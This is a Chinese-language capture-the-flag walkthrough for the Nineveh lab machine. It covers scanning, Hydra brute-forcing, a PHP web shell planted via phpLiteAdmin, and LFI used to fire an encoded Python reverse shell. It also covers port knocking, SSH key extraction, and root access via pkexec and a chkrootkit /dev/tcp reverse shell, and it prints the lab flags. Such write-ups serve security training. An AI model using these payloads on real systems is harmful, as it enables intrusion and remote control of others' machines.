Nineveh渗透测试实战教学文档<\/h1>

1. 信息收集阶段<\/h2>

1.1 初始扫描<\/h3>
使用Nmap进行端口扫描：<\/p>
nmap -p- 10.10.10.43 --min-rate 1000<\/span> -sV -sC
<\/span><\/span><\/code><\/pre>发现开放端口：<\/p>

80\/tcp: HTTP服务 (Apache\/2.4.18)<\/li>
443\/tcp: HTTPS服务 (Apache\/2.4.18)<\/li>
<\/ul>
1.2 Web目录枚举<\/h3>
使用Gobuster进行目录扫描：<\/p>
gobuster dir -u 'https:\/\/10.10.10.43'<\/span> -w \/usr\/share\/seclists\/Discovery\/Web-Content\/directory-list-2.3-big.txt -b 403,404 -x php,txt,html -k
<\/span><\/span><\/code><\/pre>发现重要目录：<\/p>

\/db\/<\/code>: phpLiteAdmin管理界面<\/li>
<\/ul>
2. phpLiteAdmin漏洞利用<\/h2>
2.1 暴力破解登录<\/h3>
使用Hydra进行密码爆破：<\/p>
hydra -l 'admin'<\/span> -P \/usr\/share\/wordlists\/rockyou.txt 10.10.10.43 https-post-form "\/db\/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true&Login=Login:Incorrect password."<\/span>
<\/span><\/span><\/code><\/pre>成功凭证：<\/p>

用户名: admin<\/li>
密码: password123<\/li>
<\/ul>
2.2 代码注入攻击<\/h3>

创建rev.php表<\/li>
创建字段，类型设置为TEXT<\/li>
在默认值中输入PHP代码：<\/li>
<\/ol>
<?<\/span>php<\/span> system<\/span>($_GET[1<\/span>]);?><\/span>
<\/span><\/span><\/span><\/code><\/pre>
通过LFI访问注入的文件：<\/li>
<\/ol>
https:\/\/10.10.10.43\/db\/index.php?switchdb=<\/span>%2Fvar%2Ftmp%2Frev
<\/span><\/span><\/code><\/pre>3. 本地文件包含(LFI)利用<\/h2>
3.1 发现LFI漏洞<\/h3>
使用Gobuster扫描HTTP服务：<\/p>
gobuster dir -u 'http:\/\/10.10.10.43\/'<\/span> -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -b 403,404 -x php,txt,html
<\/span><\/span><\/code><\/pre>发现登录页面：<\/p>

\/department\/login.php<\/code><\/li>
<\/ul>
3.2 暴力破解登录<\/h3>
hydra -l admin -P \/usr\/share\/wordlists\/rockyou.txt 10.10.10.43 http-post-form "\/department\/login.php:username=admin&password=^PASS^:Invalid Password\!"<\/span>
<\/span><\/span><\/code><\/pre>成功凭证：<\/p>

用户名: admin<\/li>
密码: 1q2w3e4r5t<\/li>
<\/ul>
3.3 利用pany工具进行LFI<\/h3>
使用pany.py工具进行LFI利用：<\/p>
python3 pany.py -u 'http:\/\/10.10.10.43\/department\/manage.php?notes=\/ninevehNotes\/*'<\/span> --cookie "PHPSESSID=o9gl3hqas474agdtlemcgscn50;"<\/span>
<\/span><\/span><\/code><\/pre>4. 获取初始Shell<\/h2>
通过LFI执行反向Shell：<\/p>
curl 'http:\/\/10.10.10.43\/department\/manage.php?notes=\/ninevehNotes\/var\/tmp\/rev.php&1=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.16.24%22%2C10034%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fbash%22%29%27'<\/span> --cookie "PHPSESSID=o9gl3hqas474agdtlemcgscn50;"<\/span>
<\/span><\/span><\/code><\/pre>5. 端口敲门(Port Knocking)<\/h2>
5.1 查看knockd配置<\/h3>
cat \/etc\/knockd.conf
<\/span><\/span><\/code><\/pre>5.2 执行端口敲门<\/h3>
knock 10.10.10.43 571<\/span> 290<\/span> 911<\/span> -d 300<\/span> -v
<\/span><\/span><\/code><\/pre>5.3 获取SSH密钥<\/h3>
strings \/var\/www\/ssl\/secure_notes\/nineveh.png
<\/span><\/span><\/code><\/pre>5.4 通过SSH登录<\/h3>
ssh -i id_rsa amrois@10.10.10.43
<\/span><\/span><\/code><\/pre>获取user flag:<\/p>
56e41c6deea1a000bba08a2bd96c364c
<\/code><\/pre>
6. 权限提升<\/h2>
6.1 使用TRP00F自动化提权<\/h3>
python3 trp00f.py --lhost 10.10.16.24 --lport 10011<\/span> --rhost 10.10.16.24 --rport 10035<\/span> --http 9999<\/span>
<\/span><\/span><\/code><\/pre>选择利用pkexec漏洞：<\/p>
[!] Do you want to exploit the vulnerability in file 'pkexec' ? (y\/n) >y
<\/code><\/pre>
6.2 利用chkrootkit提权<\/h3>

创建恶意update文件：<\/li>
<\/ol>
echo "\/bin\/bash -c '\/bin\/bash -i >& \/dev\/tcp\/10.10.16.24\/10035 0>&1'"<\/span>>\/tmp\/update
<\/span><\/span>chmod 777<\/span> \/tmp\/update
<\/span><\/span><\/code><\/pre>
等待chkrootkit执行<\/li>
<\/ol>
获取root flag:<\/p>
508ffee94c9c1c12a1ec833ae97b93bb
<\/code><\/pre>
7. 总结<\/h2>
本次渗透测试完整流程：<\/p>

信息收集发现phpLiteAdmin<\/li>
暴力破解phpLiteAdmin登录<\/li>
通过phpLiteAdmin注入PHP代码<\/li>
发现并利用LFI漏洞<\/li>
通过端口敲门获取SSH访问<\/li>
使用自动化工具和chkrootkit漏洞进行权限提升<\/li>
<\/ol>
关键点：<\/p>

phpLiteAdmin的代码注入<\/li>
LFI漏洞的利用<\/li>
端口敲门机制的绕过<\/li>
多种权限提升方法的组合使用<\/li>
<\/ul>